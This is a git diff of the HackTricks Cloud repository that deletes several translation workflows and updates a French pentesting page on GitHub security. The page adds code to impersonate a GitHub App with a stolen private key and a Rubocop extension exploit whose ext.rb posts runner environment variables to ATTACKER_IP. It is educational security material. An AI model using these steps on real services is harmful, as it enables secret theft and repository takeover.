apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_sw.yml b/.github/workflows/translate_sw.yml deleted file mode 100644 index 5e5fc46a9..000000000 --- a/.github/workflows/translate_sw.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to SW (Swahili) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: sw - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Swahili - BRANCH: sw - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_tr.yml b/.github/workflows/translate_tr.yml deleted file mode 100644 index f3c5359c1..000000000 --- a/.github/workflows/translate_tr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to TR (Turkish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: tr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Turkish - BRANCH: tr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_uk.yml b/.github/workflows/translate_uk.yml deleted file mode 100644 index 293f113e2..000000000 --- a/.github/workflows/translate_uk.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to UK (Ukranian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: uk - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Ukranian - BRANCH: uk - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_zh.yml b/.github/workflows/translate_zh.yml deleted file mode 100644 index 76f12ba6a..000000000 --- a/.github/workflows/translate_zh.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to ZH (Chinese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: zh - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Chinese - BRANCH: zh - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index cd328452c..e23983d47 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -38,24 +38,18 @@ Veuillez noter que les github dorks sont également destinés à rechercher des Outils (chaque outil contient sa liste de regex) : -- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) -- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) -- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) -- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) -- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets) -- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks) -- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) +Consultez cette page : **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)** > [!WARNING] > Lorsque vous recherchez des fuites dans un dépôt et exécutez quelque chose comme `git log -p`, n'oubliez pas qu'il pourrait y avoir **d'autres branches avec d'autres commits** contenant des secrets ! ### Forks externes -Il est possible de **compromettre des dépôts en abusant des demandes de tirage**. Pour savoir si un dépôt est vulnérable, vous devez principalement lire les configurations yaml des Github Actions. [**Plus d'infos à ce sujet ci-dessous**](./#execution-from-a-external-fork). +Il est possible de **compromettre des dépôts en abusant des demandes de tirage**. Pour savoir si un dépôt est vulnérable, vous devez principalement lire les configurations yaml des Github Actions. [**Plus d'infos à ce sujet ci-dessous**](#execution-from-a-external-fork). ### Fuites Github dans des forks supprimés/internes -Même si supprimé ou interne, il peut être possible d'obtenir des données sensibles à partir de forks de dépôts github. Vérifiez ici : +Même s'ils sont supprimés ou internes, il peut être possible d'obtenir des données sensibles à partir de forks de dépôts github. Vérifiez-le ici : {{#ref}} accessible-deleted-data-in-github.md @@ -65,16 +59,16 @@ accessible-deleted-data-in-github.md ### Privilèges des membres -Il existe certains **privilèges par défaut** qui peuvent être attribués aux **membres** de l'organisation. Ceux-ci peuvent être contrôlés depuis la page `https://github.com/organizations//settings/member_privileges` ou depuis l' [**API des organisations**](https://docs.github.com/en/rest/orgs/orgs). +Il existe certains **privilèges par défaut** qui peuvent être attribués aux **membres** de l'organisation. Ceux-ci peuvent être contrôlés depuis la page `https://github.com/organizations//settings/member_privileges` ou depuis l'[**API des organisations**](https://docs.github.com/en/rest/orgs/orgs). - **Permissions de base** : Les membres auront la permission Aucune/Lire/écrire/Admin sur les dépôts de l'organisation. Il est recommandé de choisir **Aucune** ou **Lire**. -- **Forking de dépôt** : Si ce n'est pas nécessaire, il est préférable de **ne pas permettre** aux membres de forker les dépôts de l'organisation. -- **Création de pages** : Si ce n'est pas nécessaire, il est préférable de **ne pas permettre** aux membres de publier des pages à partir des dépôts de l'organisation. Si nécessaire, vous pouvez autoriser la création de pages publiques ou privées. -- **Demandes d'accès à l'intégration** : Avec cela activé, les collaborateurs externes pourront demander l'accès aux applications GitHub ou OAuth pour accéder à cette organisation et à ses ressources. C'est généralement nécessaire, mais si ce n'est pas le cas, il est préférable de le désactiver. +- **Forking de dépôts** : Si ce n'est pas nécessaire, il est préférable de **ne pas autoriser** les membres à forker les dépôts de l'organisation. +- **Création de pages** : Si ce n'est pas nécessaire, il est préférable de **ne pas autoriser** les membres à publier des pages à partir des dépôts de l'organisation. Si nécessaire, vous pouvez autoriser la création de pages publiques ou privées. +- **Demandes d'accès aux intégrations** : Avec cela activé, les collaborateurs externes pourront demander l'accès aux applications GitHub ou OAuth pour accéder à cette organisation et à ses ressources. C'est généralement nécessaire, mais si ce n'est pas le cas, il est préférable de le désactiver. - _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_ - **Changement de visibilité du dépôt** : Si activé, les **membres** avec des permissions **admin** pour le **dépôt** pourront **changer sa visibilité**. Si désactivé, seuls les propriétaires de l'organisation peuvent changer les visibilités des dépôts. Si vous **ne** voulez pas que les gens rendent les choses **publiques**, assurez-vous que cela est **désactivé**. - _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_ -- **Suppression et transfert de dépôt** : Si activé, les membres avec des permissions **admin** pour le dépôt pourront **supprimer** ou **transférer** des **dépôts** publics et privés. +- **Suppression et transfert de dépôts** : Si activé, les membres avec des permissions **admin** pour le dépôt pourront **supprimer** ou **transférer** des **dépôts** publics et privés. - _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_ - **Autoriser les membres à créer des équipes** : Si activé, tout **membre** de l'organisation pourra **créer** de nouvelles **équipes**. Si désactivé, seuls les propriétaires de l'organisation peuvent créer de nouvelles équipes. Il est préférable d'avoir cela désactivé. - _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_ @@ -89,7 +83,7 @@ Plusieurs paramètres liés à la sécurité peuvent être configurés pour les - **Politiques des actions Github** : Cela vous permet d'indiquer quels dépôts peuvent exécuter des workflows et quels workflows doivent être autorisés. Il est recommandé de **spécifier quels dépôts** doivent être autorisés et de ne pas permettre à toutes les actions de s'exécuter. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Exécuter des workflows de demandes de tirage de collaborateurs externes** : Il est recommandé de **demander une approbation pour tous** les collaborateurs externes. +- **Workflows de demandes de tirage de forks de collaborateurs externes** : Il est recommandé de **demander une approbation pour tous** les collaborateurs externes. - _Je n'ai pas trouvé d'API avec cette info, partagez si vous le faites_ - **Exécuter des workflows à partir de demandes de tirage de forks** : Il est fortement **déconseillé d'exécuter des workflows à partir de demandes de tirage** car les mainteneurs de l'origine du fork auront la possibilité d'utiliser des tokens avec des permissions de lecture sur le dépôt source. - _Je n'ai pas trouvé d'API avec cette info, partagez si vous le faites_ @@ -107,16 +101,16 @@ _Faites-moi savoir si vous connaissez le point de terminaison de l'API pour acc Pour ce scénario, nous allons supposer que vous avez obtenu un accès à un compte github. -### Avec les identifiants utilisateur +### Avec les identifiants de l'utilisateur Si vous avez d'une manière ou d'une autre déjà des identifiants pour un utilisateur au sein d'une organisation, vous pouvez **simplement vous connecter** et vérifier quels **rôles d'entreprise et d'organisation vous avez**, si vous êtes un membre ordinaire, vérifiez quels **permissions ont les membres ordinaires**, dans quels **groupes** vous êtes, quelles **permissions vous avez** sur quels **dépôts**, et **comment les dépôts sont protégés**. -Notez que **2FA peut être utilisé**, donc vous ne pourrez accéder à ces informations que si vous pouvez également **passer cette vérification**. +Notez que **2FA peut être utilisé**, donc vous ne pourrez accéder à ces informations que si vous pouvez également **passer ce contrôle**. > [!NOTE] > Notez que si vous **parvenez à voler le cookie `user_session`** (actuellement configuré avec SameSite: Lax), vous pouvez **complètement usurper l'identité de l'utilisateur** sans avoir besoin d'identifiants ou de 2FA. -Vérifiez la section ci-dessous sur [**les contournements de protection des branches**](./#branch-protection-bypass) au cas où cela serait utile. +Consultez la section ci-dessous sur [**les contournements de protections de branches**](#branch-protection-bypass) au cas où cela serait utile. ### Avec la clé SSH de l'utilisateur @@ -134,67 +128,217 @@ Les **clés SSH** peuvent également être définies dans les dépôts en tant q #### Clés GPG -Comme expliqué [**ici**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), il est parfois nécessaire de signer les commits ou vous pourriez être découvert. +Comme expliqué [**ici**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), il est parfois nécessaire de signer les commits sinon vous pourriez être découvert. Vérifiez localement si l'utilisateur actuel a une clé avec : ```shell gpg --list-secret-keys --keyid-format=long ``` -### Avec le jeton utilisateur +### Avec le Token Utilisateur -Pour une introduction sur [**les jetons utilisateur, consultez les informations de base**](basic-github-information.md#personal-access-tokens). +Pour une introduction sur [**les Tokens Utilisateurs, consultez les informations de base**](basic-github-information.md#personal-access-tokens). -Un jeton utilisateur peut être utilisé **au lieu d'un mot de passe** pour Git via HTTPS, ou peut être utilisé pour [**s'authentifier à l'API via l'authentification de base**](https://docs.github.com/v3/auth/#basic-authentication). Selon les privilèges qui y sont attachés, vous pourriez être en mesure d'effectuer différentes actions. +Un token utilisateur peut être utilisé **au lieu d'un mot de passe** pour Git via HTTPS, ou peut être utilisé pour [**s'authentifier à l'API via l'authentification de base**](https://docs.github.com/v3/auth/#basic-authentication). Selon les privilèges qui y sont attachés, vous pourriez être en mesure d'effectuer différentes actions. -Un jeton utilisateur ressemble à ceci : `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` +Un token utilisateur ressemble à ceci : `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` -### Avec l'application Oauth +### Avec l'Application Oauth -Pour une introduction sur [**les applications Oauth de Github, consultez les informations de base**](basic-github-information.md#oauth-applications). +Pour une introduction sur [**les Applications Oauth de Github, consultez les informations de base**](basic-github-information.md#oauth-applications). -Un attaquant pourrait créer une **application Oauth malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing. +Un attaquant pourrait créer une **Application Oauth malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing. Voici les [portées qu'une application Oauth peut demander](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Un utilisateur doit toujours vérifier les portées demandées avant de les accepter. De plus, comme expliqué dans les informations de base, **les organisations peuvent donner/refuser l'accès aux applications tierces** aux informations/repos/actions liées à l'organisation. -### Avec l'application Github +### Avec l'Application Github -Pour une introduction sur [**les applications Github, consultez les informations de base**](basic-github-information.md#github-applications). +Pour une introduction sur [**les Applications Github, consultez les informations de base**](basic-github-information.md#github-applications). -Un attaquant pourrait créer une **application Github malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing. +Un attaquant pourrait créer une **Application Github malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing. De plus, comme expliqué dans les informations de base, **les organisations peuvent donner/refuser l'accès aux applications tierces** aux informations/repos/actions liées à l'organisation. -## Compromettre et abuser de l'action Github +#### Usurper une Application GitHub avec sa clé privée (JWT → tokens d'accès d'installation) -Il existe plusieurs techniques pour compromettre et abuser d'une action Github, consultez-les ici : +Si vous obtenez la clé privée (PEM) d'une Application GitHub, vous pouvez entièrement usurper l'application à travers toutes ses installations : + +- Générer un JWT à courte durée de vie signé avec la clé privée +- Appeler l'API REST de l'Application GitHub pour énumérer les installations +- Créer des tokens d'accès par installation et les utiliser pour lister/cloner/pousser vers les dépôts accordés à cette installation + +Exigences : +- Clé privée de l'Application GitHub (PEM) +- ID de l'Application GitHub (numérique). GitHub exige que iss soit l'ID de l'application + +Créer JWT (RS256) : +```python +#!/usr/bin/env python3 +import time, jwt + +with open("priv.pem", "r") as f: +signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) + +def gen_jwt(): +now = int(time.time()) +payload = { +"iat": now - 60, +"exp": now + 600 - 60, # ≤10 minutes +"iss": APP_ID, +} +return jwt.encode(payload, signing_key, algorithm="RS256") +``` +Liste des installations pour l'application authentifiée : +```bash +JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456) + +curl -sS -H "Authorization: Bearer $JWT" \ +-H "Accept: application/vnd.github+json" \ +-H "X-GitHub-Api-Version: 2022-11-28" \ +https://api.github.com/app/installations +``` +Créer un jeton d'accès d'installation (valide ≤ 10 minutes) : +```bash +INSTALL_ID=12345678 +curl -sS -X POST \ +-H "Authorization: Bearer $JWT" \ +-H "Accept: application/vnd.github+json" \ +-H "X-GitHub-Api-Version: 2022-11-28" \ +https://api.github.com/app/installations/$INSTALL_ID/access_tokens +``` +Utilisez le token pour accéder au code. Vous pouvez cloner ou pousser en utilisant la forme d'URL x‑access‑token : +```bash +TOKEN=ghs_... +REPO=owner/name +git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git +# push works if the app has contents:write on that repository +``` +PoC programmatique pour cibler une organisation spécifique et lister les dépôts privés (PyGithub + PyJWT) : +```python +#!/usr/bin/env python3 +import time, jwt, requests +from github import Auth, GithubIntegration + +with open("priv.pem", "r") as f: +signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) +ORG = "someorg" + +def gen_jwt(): +now = int(time.time()) +payload = {"iat": now-60, "exp": now+540, "iss": APP_ID} +return jwt.encode(payload, signing_key, algorithm="RS256") + +auth = Auth.AppAuth(APP_ID, signing_key) +GI = GithubIntegration(auth=auth) +installation = GI.get_org_installation(ORG) +print(f"Installation ID: {installation.id}") + +jwt_tok = gen_jwt() +r = requests.post( +f"https://api.github.com/app/installations/{installation.id}/access_tokens", +headers={ +"Accept": "application/vnd.github+json", +"Authorization": f"Bearer {jwt_tok}", +"X-GitHub-Api-Version": "2022-11-28", +}, +) +access_token = r.json()["token"] + +print("--- repos ---") +for repo in installation.get_repos(): +print(f"* {repo.full_name} (private={repo.private})") +clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git" +print(clone_url) +``` +Notes : +- Les tokens d'installation héritent exactement des permissions au niveau du dépôt de l'application (par exemple, contents: write, pull_requests: write) +- Les tokens expirent en ≤10 minutes, mais de nouveaux tokens peuvent être créés indéfiniment tant que vous conservez la clé privée +- Vous pouvez également énumérer les installations via l'API REST (GET /app/installations) en utilisant le JWT + +## Compromission & Abus de Github Action + +Il existe plusieurs techniques pour compromettre et abuser d'une Github Action, consultez-les ici : {{#ref}} abusing-github-actions/ {{#endref}} +## Abus des applications GitHub tierces exécutant des outils externes (RCE de l'extension Rubocop) + +Certaines applications GitHub et services de révision de PR exécutent des linters/SAST externes contre des pull requests en utilisant des fichiers de configuration contrôlés par le dépôt. Si un outil pris en charge permet le chargement dynamique de code, une PR peut atteindre RCE sur le runner du service. + +Exemple : Rubocop prend en charge le chargement d'extensions à partir de sa configuration YAML. Si le service passe un .rubocop.yml fourni par le dépôt, vous pouvez exécuter du Ruby arbitraire en exigeant un fichier local. + +- Les conditions de déclenchement incluent généralement : +- L'outil est activé dans le service +- La PR contient des fichiers que l'outil reconnaît (pour Rubocop : .rb) +- Le dépôt contient le fichier de configuration de l'outil (Rubocop recherche .rubocop.yml partout) + +Fichiers d'exploitation dans la PR : + +.rubocop.yml +```yaml +require: +- ./ext.rb +``` +ext.rb (exfiltrer les variables d'environnement du runner) : +```ruby +require 'net/http' +require 'uri' +require 'json' + +env_vars = ENV.to_h +json_data = env_vars.to_json +url = URI.parse('http://ATTACKER_IP/') + +begin +http = Net::HTTP.new(url.host, url.port) +req = Net::HTTP::Post.new(url.path) +req['Content-Type'] = 'application/json' +req.body = json_data +http.request(req) +rescue StandardError => e +warn e.message +end +``` +Aussi inclure un fichier Ruby fictif suffisamment grand (par exemple, main.rb) afin que le linter puisse réellement s'exécuter. + +Impact observé dans la nature : +- Exécution complète du code sur le runner de production qui a exécuté le linter +- Exfiltration de variables d'environnement sensibles, y compris la clé privée de l'application GitHub utilisée par le service, les clés API, les identifiants de base de données, etc. +- Avec une clé privée d'application GitHub divulguée, vous pouvez créer des jetons d'installation et obtenir un accès en lecture/écriture à tous les dépôts accordés à cette application (voir la section ci-dessus sur l'usurpation d'identité d'application GitHub) + +Directives de renforcement pour les services exécutant des outils externes : +- Traitez les configurations d'outils fournies par le dépôt comme du code non fiable +- Exécutez les outils dans des environnements isolés de manière stricte sans variables d'environnement sensibles montées +- Appliquez des identifiants à privilèges minimaux et une isolation du système de fichiers, et restreignez/refusez l'accès sortant au réseau pour les outils qui ne nécessitent pas d'accès Internet + ## Contournement de la protection des branches -- **Exiger un nombre d'approbations** : Si vous avez compromis plusieurs comptes, vous pourriez simplement accepter vos PRs d'autres comptes. Si vous n'avez que le compte à partir duquel vous avez créé la PR, vous ne pouvez pas accepter votre propre PR. Cependant, si vous avez accès à un **environnement d'action Github** à l'intérieur du dépôt, en utilisant le **GITHUB_TOKEN**, vous pourriez être en mesure d'**approuver votre PR** et d'obtenir 1 approbation de cette manière. -- _Remarque pour cela et pour la restriction des propriétaires de code que généralement un utilisateur ne pourra pas approuver ses propres PRs, mais si vous le pouvez, vous pouvez en abuser pour accepter vos PRs._ +- **Exiger un certain nombre d'approbations** : Si vous avez compromis plusieurs comptes, vous pourriez simplement accepter vos PR d'autres comptes. Si vous n'avez que le compte à partir duquel vous avez créé la PR, vous ne pouvez pas accepter votre propre PR. Cependant, si vous avez accès à un environnement **Github Action** à l'intérieur du dépôt, en utilisant le **GITHUB_TOKEN**, vous pourriez être en mesure d'**approuver votre PR** et d'obtenir 1 approbation de cette manière. +- _Remarque pour cela et pour la restriction des propriétaires de code que généralement un utilisateur ne pourra pas approuver ses propres PR, mais si vous le pouvez, vous pouvez en abuser pour accepter vos PR._ - **Rejeter les approbations lorsque de nouveaux commits sont poussés** : Si cela n'est pas défini, vous pouvez soumettre du code légitime, attendre qu'il soit approuvé, puis mettre du code malveillant et le fusionner dans la branche protégée. -- **Exiger des revues des propriétaires de code** : Si cela est activé et que vous êtes un propriétaire de code, vous pourriez faire en sorte qu'une 